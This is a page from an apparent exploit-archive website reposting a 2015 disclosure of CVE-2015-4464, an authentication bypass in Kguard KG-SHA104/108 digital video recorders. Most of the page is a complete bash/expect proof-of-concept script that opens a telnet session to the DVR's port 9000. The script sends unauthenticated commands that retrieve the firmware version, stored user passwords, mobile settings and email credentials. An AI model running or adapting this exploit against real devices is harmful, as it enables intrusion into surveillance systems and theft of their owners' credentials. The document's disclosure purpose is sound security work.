首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Kguard Digital Video Recorder Bypass Issues
来源:https://goo.gl/L5ASRo 作者:Fajardo 发布时间:2015-06-29  
CVEID: CVE-2015-4464

SUBJECT: Insufficient Authorization Checks Request Handling Remote 
Authentication Bypass for Kguard Digital Video Recorders

DESCRIPTION:  A deficiency in handling authentication and authorization 
has been found with Kguard 104/108/v2 models. While password-based 
authentication 
is used by the ActiveX component to protect the login page, all the 
communication 
to the application server at port 9000 allows data to be communicated 
directly 
with insufficient or improper authorization.

CVSS Base Score: 9.7
CVSS Temporal Score: 8.3
CVSS Environmental Score: Undefined
CVSS Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:P/E:F/RL:U/RC:UR)

Affected Products and Versions

Kguard Digital Video Recorders: KG-SHA104/KG-SHA108/v2. Other variants 
that runs 
the same firmware from Zhuhai Raysharp Technology Co Ltd, are believed to 
be vulnerable.

Exploit / Proof of Concept:

https://goo.gl/L5ASRo (or see below)

Remediation/Fixes

None.

Workarounds and Mitigations

See: [06]

References:

[01] http://www.securityfocus.com/archive/1/534830
[02] 
http://us.kworld-global.com/main/prod_in.aspx?mnuid=1306&modid=10&prodid=527
[03] http://osvdb.org/show/osvdb/119402
[04] http://osvdb.org/show/osvdb/119422
[05] http://osvdb.org/show/osvdb/119403
[06] 
https://www.academia.edu/11677554/Kguard_Digital_Video_Recorders_Multiple_Vulnerabilities



------ kguard-exploit-poc.txt -----

#!/bin/bash
# Title: Kguard Digital Video Recorders POC Exploit
# Author: Eric Fajardo - fjpfajardo@ph.ibm.com / 06/15/2015

# CVE-2015-4464 - This POC demonstrates the successful exploitation of 
# security flaws which has been found with Kguard SHA104/108 models. These
# Digital Video Recorders suffers from a design flaw in the protocol 
# implementation which makes the product insecure. Access to these devices
# are designed for Internet Explorer and uses ActiveX to bridge the
# communication from the browser to the DVR's application server. 
# The communication layer between the ActiveX control and the application 
# server has no authentication and authorization mechanism which may lead
# to the exposure of all credentials in the device and the ability to do
# unauthorized modification of the config including functions which can 
# potentially make the device unoperable.

# A full disclosure can be read at: 
# https://www.academia.edu/11677554/Multiple_Vulnerabilities_with_Kguard_Digital_Video_Recorders

HOSTID="$2"
PORTID="$3"
NARGS=2
BARGS=65

main(){
        printf "\033[1mKGUARD EXPLOIT: KGUARD-EXP-POC.SH - `date`\033[0m\n";
        printf "USAGE: ___FCKpd___0 {OPTION} {HOSTNAME} {PORT}\n";
        printf "EXAMPLE: ___FCKpd___0 --getver dvr.johndoe.com 9000\n\n";
        printf "WHERE:\n";
        printf "\033[1m--getver\033[0m\t- Get the firmware version.\n";
    printf "\033[1m--getcred\033[0m\t- Get the DVR's usernames/passwords.\n";
        printf "\033[1m--getmobile\033[0m\t- Get the DVR's mobile phone config.\n";
    printf "\033[1m--getemail\033[0m\t- Get the email/password if configured.\n";
}

# 01 - EXECUTE GETVERSION
function execute_getver(){
    echo "[X] - Running option getver...";
        /usr/bin/expect<<EOD
    set timeout 20
    spawn telnet $HOSTID $PORTID
        expect "Escape character is"
                send "REMOTE HI_SRDK_MEDIA_GetShowAttr MCTP/1.0\n"
                send "CSeq:1\n"
                send "Accept:text/HDP\n"
                send "Content-Type:text/HDP\n"
                send "Func-Version:0x10\n"
                send "Content-Length:15\n\n"
                send "Segment-Num:0\n"
        expect "MCTP/1.0 200 OK"
        sleep 3
                send "^]\r"
        expect "telnet>"
        send  "quit\r"
exit 1
EOD
}

# 02 - EXECUTE GETCRED
function execute_getcred(){
    echo "[X] - Running option getcred...";
    /usr/bin/expect<<EOD
    set timeout 20
    spawn telnet $HOSTID $PORTID
    expect "Escape character is"
        send "REMOTE HI_SRDK_SYS_USERMNG_GetUserList MCTP/1.0\n"
        send "CSeq:2\n"
        send "Accept:text/HDP\n"
        send "Content-Type:text/HDP\n"
        send "Func-Version:0x10\n"
        send "Content-Length:51\n\n"
        send "Segment-Num:1\n"
        send "Segment-Seq:1\n"
        send "Data-Length:4\n\n\n\n"
        send "...\n"
    expect "MCTP/1.0 200 OK"
    sleep 3
        send "^]\r"
    expect "telnet>"
    send "quit\r"
exit 1
EOD
}

# 03 - EXECUTE GETMOBILE
function execute_getmobile(){
    echo "[X] - Running option getmobile...";
        /usr/bin/expect<<EOD
    set timeout 20
    spawn telnet $HOSTID $PORTID
        expect "Escape character is"
                send "REMOTE HI_SRDK_NET_MOBILE_GetOwspAttr MCTP/1.0\n"
                send "CSeq:1\n"
                send "Accept:text/HDP\n"
                send "Content-Type:text/HDP\n"
                send "Func-Version:0x10\n"
                send "Content-Length:15\n\n"
                send "Segment-Num:0\n"
        expect "MCTP/1.0 200 OK"
        sleep 3
                send "^]\r"
        expect "telnet>"
        send  "quit\r"
exit 1
EOD
}

# 04 - EXECUTE GETEMAIL
function execute_getemail(){
        echo "[X] - Running option getemail...";
    /usr/bin/expect<<EOD
    set timeout 20
    spawn telnet $HOSTID $PORTID
        expect "Escape character is"
                send "REMOTE HI_SRDK_NET_GetEmailAttr MCTP/1.0\n"
                send "CSeq:1\n"
                send "Accept:text/HDP\n"
                send "Content-Type:text/HDP\n"
                send "Func-Version:0x10\n"
                send "Content-Length:15\n\n"
                send "Segment-Num:0\n"
        expect "MCTP/1.0 200 OK"
        sleep 3
                send "^]\r"
        expect "telnet>"
        send  "quit\r"
exit 1
EOD
}

[[ $# -lt $NARGS ]] && main && exit $BARGS
case $1 in

    --getver )
    printf "\033[1mKGUARD EXPLOIT: KGUARD-EXP-POC.SH - `date`\033[0m\n";
    execute_getver  
    exit 0
    ;;

        --getcred )
        printf "\033[1mKGUARD EXPLOIT: KGUARD-EXP-POC.SH - `date`\033[0m\n";
    execute_getcred
    exit 0
        ;;

        --getmobile )
        printf "\033[1mKGUARD EXPLOIT: KGUARD-EXP-POC.SH - `date`\033[0m\n";
        execute_getmobile
        exit 0
        ;;

        --getemail )
        printf "\033[1mKGUARD EXPLOIT: KGUARD-EXP-POC.SH - `date`\033[0m\n";
        execute_getemail
        exit 0
        ;;


    *)
    printf "\033[1mKGUARD EXPLOIT: KGUARD-EXP-POC.SH - `date`\033[0m\n";

esac
exit 0



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WordPress Revslider Arbitrary
·Joomla Simple Image Upload 1.0
·Microsoft Windows ClientCopyIm
·Havij OLE Automation Array Rem
·KMPlayer 3.9.1.136 Buffer Over
·Adobe Flash Player Drawing Fil
·Adobe Flash Player ShaderJob B
·McAfee SiteAdvisor 3.7.2 (fire
·Tango FTP 1.0 Active-X Heap Sp
·Safari 8.0.X / OS X Yosemite 1
·Tango DropBox 3.1.5 Active-X H
·Endian Firewall < 3.0.0 - OS C
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved